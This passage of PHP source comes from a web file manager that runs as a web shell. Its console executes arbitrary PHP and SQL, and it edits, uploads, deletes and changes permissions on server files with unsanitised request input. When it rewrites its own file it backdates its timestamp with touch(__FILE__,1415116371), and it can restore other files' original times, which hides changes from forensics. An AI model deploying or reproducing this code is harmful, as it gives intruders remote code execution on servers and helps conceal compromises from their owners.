	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

